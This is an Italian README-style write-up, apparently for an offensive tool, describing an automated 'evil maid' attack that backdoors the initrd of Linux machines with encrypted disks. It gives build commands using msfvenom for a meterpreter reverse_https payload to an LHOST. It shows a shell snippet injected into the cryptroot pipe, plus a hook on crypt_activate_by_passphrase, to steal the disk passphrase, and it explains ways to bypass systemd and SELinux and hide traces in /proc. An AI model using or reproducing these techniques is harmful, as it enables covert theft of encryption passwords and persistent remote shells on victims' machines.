
Attacco evil maid automatizzato su Linux

.so in /sbin/init all'avvio, rilasciando una shellLD_PRELOAD .so in DefaultEnviroment, caricato globalmente, rilasciando una shell.python/meterpreter/reverse_https al LHOST di compilazionegetenv PASSWORD)Vedere il Makefile per maggiori informazioni/configurazioni, LHOST è richiesto nell'ambiente per costruire il .so dato che msfvenom viene passato tramite pipe al momento della compilazione. È anche necessario avere libcrypsetup-dev (o equivalente) installato sulla macchina di build.
Istruzioni generiche (costruisce immagine iso nella directory corrente):
LHOST=192.168.56.101 make rev.so iso
Le seguenti opzioni sono state aggiunte al boot del kernel:
mc superuser nodhcp quiet loglevel=0
Inoltre, il valore di prompt è stato impostato a 0 per permettere l'esecuzione completamente automatizzata.
Tempo approssimativo dall'avvio malevolo al backdoor: ~2 minuti Tempo approssimativo dall'avvio legittimo alla shell: ~90 secondi (configurabile, vogliamo che la rete sia attiva prima di noi)
core.d è un core.gz estratto da TinyCore con i pacchetti seguenti integrati.
Core-current è un Core-current.iso estratto
I seguenti pacchetti sono stati installati all'interno di tinycore (python, supporto filesystem):
Come minimo la firma è la seguente:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS è un nome univoco per questo SO.IDENTIFIER è un comando shell che ha un codice di uscita 0 quando eseguito sull'initrd corretto, e !0 per qualsiasi altro.ROOT è il percorso completo o la variabile dove il nuovo root viene montato dopo la decifratura.FILENAME è il percorso completo per depositare il nostro binario sul filesystem root. Fare attenzione a sapere cosa monta initrd e cosa viene montato successivamente.INITRDFILENAME è il percorso completo del binario all'interno dell'initrd. Questo viene copiato all'interno del Makefile (cp ... core.d/...) quindi dovrebbe corrispondere.Dopodiché, ogni tripla di *FILE, *PRE, *POST viene eseguita sull'initrd come una re.sub (es. re.sub(*PRE, *POST, *FILE)). I contenuti di *PRE e *POST vengono espansi usando .format(**config[detectedOS]), quindi sentiti libero di espandere la tua firma per iniettare elementi.
Non c'è limite al numero di sostituzioni che puoi eseguire.
\\1 si espanderà al contenuto completo della corrispondenza (*PRE) quando usato all'interno della sostituzione (*POST).| $Il payload python/meterpreter/reverse_https di metasploit è stato scelto perché è più indipendente dalla piattaforma rispetto ai payload linux/*/meterpreter/reverse_tcp. python sembra essere installato di default su tutti i sistemi testati.
Di default, il payload viene generato al momento della compilazione e passato tramite pipe nel file .c come #define. Questo facilita le iterazioni, ma non dovrebbe essere difficile salvare il payload e inserirlo manualmente.
I sistemi basati su Debian (Debian, Ubuntu, ecc.) usano un'immagine cpio standard gzippata come initramfs. Questa contiene lo script /init di default che prepara il sistema per l'avvio completo. Questo include chiedere all'utente la password e montare il filesystem root crittografato.
Per rilasciare il nostro .so, aspettiamo che il filesystem root sia stato montato (quindi dopo che all'utente è stata chiesta la password) e copiamo il .so nel filesystem /dev. Il filesystem /dev è stato scelto perché è accessibile appena prima che il rootfs venga cambiato ed è un mount basato su RAM. Questo significa che il nostro .so non toccherà il disco.
Per utilizzare effettivamente il .so rilasciato, usiamo poi la variabile d'ambiente LD_PRELOAD nella chiamata switch_root. Questa variabile viene passata a tutti gli eseguibili figli e quindi lo script finale /sbin/init avrà il modulo caricato. Per mantenere questo relativamente silenzioso, controlliamo se siamo caricati in /sbin/init, e in tal caso, rimuoviamo la variabile LD_PRELOAD e cancelliamo il .so. Questa funzionalità può essere facilmente disabilitata se volessimo agganciare applicazioni specifiche.
Per forzare l'esecuzione del .so, di default dopo il caricamento, usiamo il flag gcc -Wl,-init,shell, dove shell è la nostra funzione principale. Questo specifica quale funzione vogliamo chiamare all'inizializzazione del .so. Pensalo come un analogo del DllMain di Windows.
La parte dello script init incaricata di chiedere all'utente la password e montare il filesystem root è la seguente:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
La parte importante per noi è dove l'output di $cryptkeyscript viene passato tramite pipe a $cryptcreate. $cryptkeyscript è il richiedente della password, e $cryptcreate è il montatore del disco. Questa pipe rende molto facile per noi attaccare. Inseriamo il seguente codice dove si trova la pipe per scrivere la password alla fine del nostro .so:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Questo legge la password nella variabile $P, e sia la scrive alla fine del .so che la ripete di nuovo. Questo codice sarà trasparente per gli scopi di $cryptkeyscript e $cryptcreate, ma avrà l'effetto collaterale di esfiltrare la password. Usiamo \\\\\\\\x00 per anteporre un byte nullo (tenendo conto di molti livelli di escaping della shell) alla password. Questo rende molto più facile per il nostro .so rileggere la password, poiché deve solo leggere all'indietro dalla fine di se stesso fino a vedere un byte nullo.
Per fornire questa password all'attaccante, viene usata come variabile d'ambiente nell'invocazione del payload. Ciò significa che l'attaccante può semplicemente usare il comando meterpreter getenv PASSWORD per recuperare la password.
A causa del modo in cui il .so viene caricato, ci saranno riferimenti ad esso sia in /proc/1/maps che in /proc/1/environ.
Il file maps è un elenco dei moduli caricati. Il seguente estratto mostra il contenuto di questo file. Notare il (deleted), potrebbe potenzialmente destare sospetti. Tuttavia, a differenza dei binari normali, non è possibile accedere al .so senza estrarlo direttamente dalla memoria dopo che è stato cancellato.
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
Il file environ è un elenco separato da NULL delle variabili d'ambiente al momento dell'invocazione. Poiché proviene dall'invocazione, ciò significa che qualsiasi modifica apportata a runtime (rimuovendo LD_PRELOAD) non verrà riflessa.
In entrambi i casi, poiché possiamo essere agganciati a qualsiasi processo di sistema, potremmo semplicemente agganciare la funzione read(2) e rimuovere qualsiasi riferimento a noi stessi.
Kali è una sorta di caso speciale. Ha il cpio concatenato come menzionato sotto, ma non usa systemd per l'avvio. Pertanto, la regola del SO DRACUT è stata generalizzata in modo da estrarre ciecamente, e poi la seconda rilevazione del SO cattura Kali.
Se aggiungi un SO con un cpio contenente solo kernel/x86/microcode/GenuineIntel.bin, la regola IDENTIFIER dovrebbe essere per il cpio aggiunto, poiché lo troveremo e lo estrarremo automaticamente.
Questi sistemi hanno un formato diverso per la loro immagine initrd rispetto ai sistemi basati su Debian. I file initrd memorizzati in /boot sono un archivio cpio quasi vuoto, con un archivio cpio gzippato aggiunto. Questo secondo archivio è quello che contiene l'initramfs. Per decomprimere questo secondo archivio è necessario analizzare il primo archivio cpio per trovare la fine. In alternativa puoi trovare la stringa TRAILER!!! e leggere fino a trovare la magic gzip (\x1f\x8b).
Un'altra differenza di questi sistemi è che sono basati su systemd, e quindi l'eseguibile /init nell'initramfs è un collegamento simbolico al binario systemd, piuttosto che un semplice script sh. Per bypassare questa limitazione, è necessario modificare i file .service relativi al montaggio del filesystem root.
Il file usr/lib/systemd/system/initrd-switch-root.service contiene lo script che viene utilizzato per fare il pivot verso il root appena decifrato. Usando la direttiva ExecStartPre è possibile eseguire altri programmi prima che il pivot avvenga.
SELinux è presente su CentOS, limitando l'uso di LD_PRELOAD. Un percorso funzionante è /lib. Questo è stato individuato leggendo il file /etc/selinux/targeted/modules/active/file_contexts per una posizione etichettata system_u:object_r:lib_t.
Poiché systemd chiama clearenv() prima di cambiare root, la nostra variabile LD_PRELOAD viene cancellata. Per bypassare questo, possiamo agganciare clearenv(), e sostituire sempre l'ambiente solo con LD_PRELOAD. Tuttavia, per ottenere questo, dobbiamo essere PID 1 all'interno dell'initrd. Questo è più complicato poiché non è possibile fare LD_PRELOAD in questo processo. Per aggirare il problema, abbiamo sostituito /init con uno script shell bash come segue:
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
Questo funziona perché /init è solo un collegamento simbolico a /usr/lib/systemd/systemd. Viene usato exec in modo che il processo mantenga il PID genitore (1).
Una volta implementato questo, e neutralizzato clearenv(), è possibile impostare LD_PRELOAD per il vero pid 1 all'interno del nuovo root.
systemd gestisce le password per i filesystem crittografati in modo completamente diverso rispetto agli script init basati su Debian. Le password vengono passate utilizzando socket Unix che permettono di inviare credenziali. Per aggirare questa complessità, il metodo più semplice che abbiamo trovato per accedere alla password è stato agganciare la funzione crypt_activate_by_passphrase di libcryptsetup. Le parti rilevanti della dichiarazione della funzione sono le seguenti:
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
Per accedere alla password, agganciamo semplicemente questa funzione, salviamo passphrase in un file e chiamiamo la funzione originale ottenuta con dlsym(RTLD_NEXT, ...). Come sopra, abbiamo aggiunto la nostra password al .so in modo che possa analizzare se stesso e rendere la password disponibile a meterpreter.
Come sopra, il .so appare in /proc/1/maps, /proc/1/environ e nell'output di ps.